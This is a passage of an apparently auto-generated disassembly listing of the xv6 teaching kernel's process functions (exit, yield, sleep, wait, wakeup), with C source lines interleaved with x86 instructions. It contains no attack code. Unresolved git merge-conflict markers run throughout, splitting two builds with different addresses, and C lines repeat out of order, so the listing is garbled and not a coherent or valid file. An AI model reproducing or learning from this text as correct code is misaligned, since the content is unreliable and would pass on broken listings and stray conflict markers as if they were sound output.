80103e75: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
=======
80103c60: 83 e8 80 sub $0xffffff80,%eax
80103c63: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103c68: 74 1c je 80103c86 <exit+0xb6>
if(p->state == SLEEPING && p->chan == chan)
80103c6a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103c6e: 75 f0 jne 80103c60 <exit+0x90>
80103c70: 3b 50 20 cmp 0x20(%eax),%edx
80103c73: 75 eb jne 80103c60 <exit+0x90>
p->state = RUNNABLE;
80103c75: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
80103e7c: 83 e8 80 sub $0xffffff80,%eax
80103e7f: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103e84: 75 e4 jne 80103e6a <exit+0xaa>
=======
80103c7c: 83 e8 80 sub $0xffffff80,%eax
80103c7f: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103c84: 75 e4 jne 80103c6a <exit+0x9a>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == proc){
p->parent = initproc;
<<<<<<< HEAD
80103e86: 8b 1d bc a5 10 80 mov 0x8010a5bc,%ebx
80103e8c: ba d4 2d 11 80 mov $0x80112dd4,%edx
80103e91: eb 10 jmp 80103ea3 <exit+0xe3>
80103e93: 90 nop
80103e94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103c86: 8b 1d bc a5 10 80 mov 0x8010a5bc,%ebx
80103c8c: ba d4 2d 11 80 mov $0x80112dd4,%edx
80103c91: eb 10 jmp 80103ca3 <exit+0xd3>
80103c93: 90 nop
80103c94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
80103e98: 83 ea 80 sub $0xffffff80,%edx
80103e9b: 81 fa d4 4d 11 80 cmp $0x80114dd4,%edx
80103ea1: 74 3b je 80103ede <exit+0x11e>
if(p->parent == proc){
80103ea3: 3b 4a 14 cmp 0x14(%edx),%ecx
80103ea6: 75 f0 jne 80103e98 <exit+0xd8>
p->parent = initproc;
if(p->state == ZOMBIE)
80103ea8: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
=======
80103c98: 83 ea 80 sub $0xffffff80,%edx
80103c9b: 81 fa d4 4d 11 80 cmp $0x80114dd4,%edx
80103ca1: 74 33 je 80103cd6 <exit+0x106>
if(p->parent == proc){
80103ca3: 3b 4a 14 cmp 0x14(%edx),%ecx
80103ca6: 75 f0 jne 80103c98 <exit+0xc8>
p->parent = initproc;
if(p->state == ZOMBIE)
80103ca8: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == proc){
p->parent = initproc;
<<<<<<< HEAD
80103eac: 89 5a 14 mov %ebx,0x14(%edx)
if(p->state == ZOMBIE)
80103eaf: 75 e7 jne 80103e98 <exit+0xd8>
80103eb1: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103eb6: eb 12 jmp 80103eca <exit+0x10a>
80103eb8: 90 nop
80103eb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103cac: 89 5a 14 mov %ebx,0x14(%edx)
if(p->state == ZOMBIE)
80103caf: 75 e7 jne 80103c98 <exit+0xc8>
80103cb1: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103cb6: eb 0a jmp 80103cc2 <exit+0xf2>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
80103ec0: 83 e8 80 sub $0xffffff80,%eax
80103ec3: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103ec8: 74 ce je 80103e98 <exit+0xd8>
if(p->state == SLEEPING && p->chan == chan)
80103eca: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103ece: 75 f0 jne 80103ec0 <exit+0x100>
80103ed0: 3b 58 20 cmp 0x20(%eax),%ebx
80103ed3: 75 eb jne 80103ec0 <exit+0x100>
p->state = RUNNABLE;
80103ed5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103edc: eb e2 jmp 80103ec0 <exit+0x100>
=======
80103cb8: 83 e8 80 sub $0xffffff80,%eax
80103cbb: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103cc0: 74 d6 je 80103c98 <exit+0xc8>
if(p->state == SLEEPING && p->chan == chan)
80103cc2: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103cc6: 75 f0 jne 80103cb8 <exit+0xe8>
80103cc8: 3b 58 20 cmp 0x20(%eax),%ebx
80103ccb: 75 eb jne 80103cb8 <exit+0xe8>
p->state = RUNNABLE;
80103ccd: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103cd4: eb e2 jmp 80103cb8 <exit+0xe8>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
<<<<<<< HEAD
80103ede: c7 41 0c 05 00 00 00 movl $0x5,0xc(%ecx)
sched();
80103ee5: e8 36 fe ff ff call 80103d20 <sched>
panic("zombie exit");
80103eea: 83 ec 0c sub $0xc,%esp
80103eed: 68 05 79 10 80 push $0x80107905
80103ef2: e8 79 c4 ff ff call 80100370 <panic>
=======
80103cd6: c7 41 0c 05 00 00 00 movl $0x5,0xc(%ecx)
sched();
80103cdd: e8 4e fe ff ff call 80103b30 <sched>
panic("zombie exit");
80103ce2: c7 04 24 95 76 10 80 movl $0x80107695,(%esp)
80103ce9: e8 72 c6 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
struct proc *p;
int fd;
if(proc == initproc)
panic("init exiting");
<<<<<<< HEAD
80103ef7: 83 ec 0c sub $0xc,%esp
80103efa: 68 f8 78 10 80 push $0x801078f8
80103eff: e8 6c c4 ff ff call 80100370 <panic>
80103f04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103f0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103f10 <yield>:
=======
80103cee: c7 04 24 88 76 10 80 movl $0x80107688,(%esp)
80103cf5: e8 66 c6 ff ff call 80100360 <panic>
80103cfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103d00 <yield>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Give up the CPU for one scheduling round.
void
yield(void)
{
<<<<<<< HEAD
80103f10: 55 push %ebp
80103f11: 89 e5 mov %esp,%ebp
80103f13: 83 ec 14 sub $0x14,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103f16: 68 a0 2d 11 80 push $0x80112da0
80103f1b: e8 f0 05 00 00 call 80104510 <acquire>
proc->state = RUNNABLE;
80103f20: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103f26: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103f2d: e8 ee fd ff ff call 80103d20 <sched>
release(&ptable.lock);
80103f32: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103f39: e8 b2 07 00 00 call 801046f0 <release>
}
80103f3e: 83 c4 10 add $0x10,%esp
80103f41: c9 leave
80103f42: c3 ret
80103f43: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103f50 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
if(proc == 0)
80103f50: 65 a1 04 00 00 00 mov %gs:0x4,%eax
=======
80103d00: 55 push %ebp
80103d01: 89 e5 mov %esp,%ebp
80103d03: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103d06: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103d0d: e8 6e 06 00 00 call 80104380 <acquire>
proc->state = RUNNABLE;
80103d12: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d18: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103d1f: e8 0c fe ff ff call 80103b30 <sched>
release(&ptable.lock);
80103d24: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103d2b: e8 80 07 00 00 call 801044b0 <release>
}
80103d30: c9 leave
80103d31: c3 ret
80103d32: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103d39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103d40 <sleep>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
<<<<<<< HEAD
80103f56: 55 push %ebp
80103f57: 89 e5 mov %esp,%ebp
80103f59: 56 push %esi
80103f5a: 53 push %ebx
if(proc == 0)
80103f5b: 85 c0 test %eax,%eax
=======
80103d40: 55 push %ebp
80103d41: 89 e5 mov %esp,%ebp
80103d43: 56 push %esi
80103d44: 53 push %ebx
80103d45: 83 ec 10 sub $0x10,%esp
if(proc == 0)
80103d48: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
<<<<<<< HEAD
80103f5d: 8b 75 08 mov 0x8(%ebp),%esi
80103f60: 8b 5d 0c mov 0xc(%ebp),%ebx
if(proc == 0)
80103f63: 0f 84 97 00 00 00 je 80104000 <sleep+0xb0>
panic("sleep");
if(lk == 0)
80103f69: 85 db test %ebx,%ebx
80103f6b: 0f 84 82 00 00 00 je 80103ff3 <sleep+0xa3>
=======
80103d4e: 8b 75 08 mov 0x8(%ebp),%esi
80103d51: 8b 5d 0c mov 0xc(%ebp),%ebx
if(proc == 0)
80103d54: 85 c0 test %eax,%eax
80103d56: 0f 84 8b 00 00 00 je 80103de7 <sleep+0xa7>
panic("sleep");
if(lk == 0)
80103d5c: 85 db test %ebx,%ebx
80103d5e: 74 7b je 80103ddb <sleep+0x9b>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
<<<<<<< HEAD
80103f71: 81 fb a0 2d 11 80 cmp $0x80112da0,%ebx
80103f77: 74 57 je 80103fd0 <sleep+0x80>
acquire(&ptable.lock); //DOC: sleeplock1
80103f79: 83 ec 0c sub $0xc,%esp
80103f7c: 68 a0 2d 11 80 push $0x80112da0
80103f81: e8 8a 05 00 00 call 80104510 <acquire>
release(lk);
80103f86: 89 1c 24 mov %ebx,(%esp)
80103f89: e8 62 07 00 00 call 801046f0 <release>
=======
80103d60: 81 fb a0 2d 11 80 cmp $0x80112da0,%ebx
80103d66: 74 50 je 80103db8 <sleep+0x78>
acquire(&ptable.lock); //DOC: sleeplock1
80103d68: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103d6f: e8 0c 06 00 00 call 80104380 <acquire>
release(lk);
80103d74: 89 1c 24 mov %ebx,(%esp)
80103d77: e8 34 07 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Go to sleep.
proc->chan = chan;
<<<<<<< HEAD
80103f8e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103f94: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103f97: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103f9e: e8 7d fd ff ff call 80103d20 <sched>
// Tidy up.
proc->chan = 0;
80103fa3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103fa9: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
=======
80103d7c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d82: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103d85: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103d8c: e8 9f fd ff ff call 80103b30 <sched>
// Tidy up.
proc->chan = 0;
80103d91: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d97: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
<<<<<<< HEAD
80103fb0: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103fb7: e8 34 07 00 00 call 801046f0 <release>
acquire(lk);
80103fbc: 89 5d 08 mov %ebx,0x8(%ebp)
80103fbf: 83 c4 10 add $0x10,%esp
}
}
80103fc2: 8d 65 f8 lea -0x8(%ebp),%esp
80103fc5: 5b pop %ebx
80103fc6: 5e pop %esi
80103fc7: 5d pop %ebp
=======
80103d9e: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103da5: e8 06 07 00 00 call 801044b0 <release>
acquire(lk);
80103daa: 89 5d 08 mov %ebx,0x8(%ebp)
}
}
80103dad: 83 c4 10 add $0x10,%esp
80103db0: 5b pop %ebx
80103db1: 5e pop %esi
80103db2: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
proc->chan = 0;
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
<<<<<<< HEAD
80103fc8: e9 43 05 00 00 jmp 80104510 <acquire>
80103fcd: 8d 76 00 lea 0x0(%esi),%esi
=======
80103db3: e9 c8 05 00 00 jmp 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&ptable.lock); //DOC: sleeplock1
release(lk);
}
// Go to sleep.
proc->chan = chan;
<<<<<<< HEAD
80103fd0: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103fd3: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103fda: e8 41 fd ff ff call 80103d20 <sched>
// Tidy up.
proc->chan = 0;
80103fdf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103fe5: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
=======
80103db8: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103dbb: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103dc2: e8 69 fd ff ff call 80103b30 <sched>
// Tidy up.
proc->chan = 0;
80103dc7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103dcd: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
}
}
<<<<<<< HEAD
80103fec: 8d 65 f8 lea -0x8(%ebp),%esp
80103fef: 5b pop %ebx
80103ff0: 5e pop %esi
80103ff1: 5d pop %ebp
80103ff2: c3 ret
=======
80103dd4: 83 c4 10 add $0x10,%esp
80103dd7: 5b pop %ebx
80103dd8: 5e pop %esi
80103dd9: 5d pop %ebp
80103dda: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
if(proc == 0)
panic("sleep");
if(lk == 0)
panic("sleep without lk");
<<<<<<< HEAD
80103ff3: 83 ec 0c sub $0xc,%esp
80103ff6: 68 17 79 10 80 push $0x80107917
80103ffb: e8 70 c3 ff ff call 80100370 <panic>
=======
80103ddb: c7 04 24 a7 76 10 80 movl $0x801076a7,(%esp)
80103de2: e8 79 c5 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
if(proc == 0)
panic("sleep");
<<<<<<< HEAD
80104000: 83 ec 0c sub $0xc,%esp
80104003: 68 11 79 10 80 push $0x80107911
80104008: e8 63 c3 ff ff call 80100370 <panic>
8010400d: 8d 76 00 lea 0x0(%esi),%esi
80104010 <wait>:
=======
80103de7: c7 04 24 a1 76 10 80 movl $0x801076a1,(%esp)
80103dee: e8 6d c5 ff ff call 80100360 <panic>
80103df3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103e00 <wait>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
<<<<<<< HEAD
80104010: 55 push %ebp
80104011: 89 e5 mov %esp,%ebp
80104013: 56 push %esi
80104014: 53 push %ebx
=======
80103e00: 55 push %ebp
80103e01: 89 e5 mov %esp,%ebp
80103e03: 56 push %esi
80103e04: 53 push %ebx
80103e05: 83 ec 10 sub $0x10,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
<<<<<<< HEAD
80104015: 83 ec 0c sub $0xc,%esp
80104018: 68 a0 2d 11 80 push $0x80112da0
8010401d: e8 ee 04 00 00 call 80104510 <acquire>
80104022: 83 c4 10 add $0x10,%esp
80104025: 65 a1 04 00 00 00 mov %gs:0x4,%eax
for(;;){
// Scan through table looking for exited children.
havekids = 0;
8010402b: 31 d2 xor %edx,%edx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010402d: bb d4 2d 11 80 mov $0x80112dd4,%ebx
80104032: eb 0f jmp 80104043 <wait+0x33>
80104034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104038: 83 eb 80 sub $0xffffff80,%ebx
8010403b: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80104041: 74 1d je 80104060 <wait+0x50>
if(p->parent != proc)
80104043: 3b 43 14 cmp 0x14(%ebx),%eax
80104046: 75 f0 jne 80104038 <wait+0x28>
continue;
havekids = 1;
if(p->state == ZOMBIE){
80104048: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
8010404c: 74 30 je 8010407e <wait+0x6e>
=======
80103e08: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103e0f: e8 6c 05 00 00 call 80104380 <acquire>
80103e14: 65 a1 04 00 00 00 mov %gs:0x4,%eax
for(;;){
// Scan through table looking for exited children.
havekids = 0;
80103e1a: 31 d2 xor %edx,%edx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e1c: bb d4 2d 11 80 mov $0x80112dd4,%ebx
80103e21: eb 10 jmp 80103e33 <wait+0x33>
80103e23: 90 nop
80103e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103e28: 83 eb 80 sub $0xffffff80,%ebx
80103e2b: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80103e31: 74 1d je 80103e50 <wait+0x50>
if(p->parent != proc)
80103e33: 39 43 14 cmp %eax,0x14(%ebx)
80103e36: 75 f0 jne 80103e28 <wait+0x28>
continue;
havekids = 1;
if(p->state == ZOMBIE){
80103e38: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103e3c: 74 2f je 80103e6d <wait+0x6d>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
8010404e: 83 eb 80 sub $0xffffff80,%ebx
if(p->parent != proc)
continue;
havekids = 1;
80104051: ba 01 00 00 00 mov $0x1,%edx
=======
80103e3e: 83 eb 80 sub $0xffffff80,%ebx
if(p->parent != proc)
continue;
havekids = 1;
80103e41: ba 01 00 00 00 mov $0x1,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
80104056: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
8010405c: 75 e5 jne 80104043 <wait+0x33>
8010405e: 66 90 xchg %ax,%ax
=======
80103e46: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80103e4c: 75 e5 jne 80103e33 <wait+0x33>
80103e4e: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
<<<<<<< HEAD
80104060: 85 d2 test %edx,%edx
80104062: 74 70 je 801040d4 <wait+0xc4>
80104064: 8b 50 24 mov 0x24(%eax),%edx
80104067: 85 d2 test %edx,%edx
80104069: 75 69 jne 801040d4 <wait+0xc4>
=======
80103e50: 85 d2 test %edx,%edx
80103e52: 74 6e je 80103ec2 <wait+0xc2>
80103e54: 8b 50 24 mov 0x24(%eax),%edx
80103e57: 85 d2 test %edx,%edx
80103e59: 75 67 jne 80103ec2 <wait+0xc2>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
release(&ptable.lock);
return -1;
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
<<<<<<< HEAD
8010406b: 83 ec 08 sub $0x8,%esp
8010406e: 68 a0 2d 11 80 push $0x80112da0
80104073: 50 push %eax
80104074: e8 d7 fe ff ff call 80103f50 <sleep>
}
80104079: 83 c4 10 add $0x10,%esp
8010407c: eb a7 jmp 80104025 <wait+0x15>
=======
80103e5b: c7 44 24 04 a0 2d 11 movl $0x80112da0,0x4(%esp)
80103e62: 80
80103e63: 89 04 24 mov %eax,(%esp)
80103e66: e8 d5 fe ff ff call 80103d40 <sleep>
}
80103e6b: eb a7 jmp 80103e14 <wait+0x14>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
<<<<<<< HEAD
8010407e: 83 ec 0c sub $0xc,%esp
80104081: ff 73 08 pushl 0x8(%ebx)
=======
80103e6d: 8b 43 08 mov 0x8(%ebx),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(p->parent != proc)
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
<<<<<<< HEAD
80104084: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80104087: e8 34 e2 ff ff call 801022c0 <kfree>
p->kstack = 0;
freevm(p->pgdir);
8010408c: 59 pop %ecx
8010408d: ff 73 04 pushl 0x4(%ebx)
=======
80103e70: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103e73: 89 04 24 mov %eax,(%esp)
80103e76: e8 65 e4 ff ff call 801022e0 <kfree>
p->kstack = 0;
freevm(p->pgdir);
80103e7b: 8b 43 04 mov 0x4(%ebx),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
<<<<<<< HEAD
80104090: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80104097: e8 24 30 00 00 call 801070c0 <freevm>
p->pid = 0;
8010409c: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
801040a3: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
801040aa: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
801040ae: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
801040b5: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
801040bc: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801040c3: e8 28 06 00 00 call 801046f0 <release>
return pid;
801040c8: 83 c4 10 add $0x10,%esp
=======
80103e7e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103e85: 89 04 24 mov %eax,(%esp)
80103e88: e8 b3 2f 00 00 call 80106e40 <freevm>
p->pid = 0;
p->parent = 0;
p->name[0] = 0;
p->killed = 0;
p->state = UNUSED;
release(&ptable.lock);
80103e8d: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
freevm(p->pgdir);
p->pid = 0;
80103e94: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103e9b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103ea2: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103ea6: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103ead: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103eb4: e8 f7 05 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
<<<<<<< HEAD
801040cb: 8d 65 f8 lea -0x8(%ebp),%esp
=======
80103eb9: 83 c4 10 add $0x10,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->parent = 0;
p->name[0] = 0;
p->killed = 0;
p->state = UNUSED;
release(&ptable.lock);
return pid;
<<<<<<< HEAD
801040ce: 89 f0 mov %esi,%eax
=======
80103ebc: 89 f0 mov %esi,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
<<<<<<< HEAD
801040d0: 5b pop %ebx
801040d1: 5e pop %esi
801040d2: 5d pop %ebp
801040d3: c3 ret
=======
80103ebe: 5b pop %ebx
80103ebf: 5e pop %esi
80103ec0: 5d pop %ebp
80103ec1: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
release(&ptable.lock);
<<<<<<< HEAD
801040d4: 83 ec 0c sub $0xc,%esp
801040d7: 68 a0 2d 11 80 push $0x80112da0
801040dc: e8 0f 06 00 00 call 801046f0 <release>
return -1;
801040e1: 83 c4 10 add $0x10,%esp
=======
80103ec2: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103ec9: e8 e2 05 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
<<<<<<< HEAD
801040e4: 8d 65 f8 lea -0x8(%ebp),%esp
=======
80103ece: 83 c4 10 add $0x10,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
release(&ptable.lock);
return -1;
<<<<<<< HEAD
801040e7: b8 ff ff ff ff mov $0xffffffff,%eax
=======
80103ed1: b8 ff ff ff ff mov $0xffffffff,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
<<<<<<< HEAD
801040ec: 5b pop %ebx
801040ed: 5e pop %esi
801040ee: 5d pop %ebp
801040ef: c3 ret
801040f0 <wakeup>:
=======
80103ed6: 5b pop %ebx
80103ed7: 5e pop %esi
80103ed8: 5d pop %ebp
80103ed9: c3 ret
80103eda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103ee0 <wakeup>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
<<<<<<< HEAD
801040f0: 55 push %ebp
801040f1: 89 e5 mov %esp,%ebp
801040f3: 53 push %ebx
801040f4: 83 ec 10 sub $0x10,%esp
801040f7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
801040fa: 68 a0 2d 11 80 push $0x80112da0
801040ff: e8 0c 04 00 00 call 80104510 <acquire>
80104104: 83 c4 10 add $0x10,%esp
=======
80103ee0: 55 push %ebp
80103ee1: 89 e5 mov %esp,%ebp
80103ee3: 53 push %ebx
80103ee4: 83 ec 14 sub $0x14,%esp
80103ee7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
80103eea: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103ef1: e8 8a 04 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
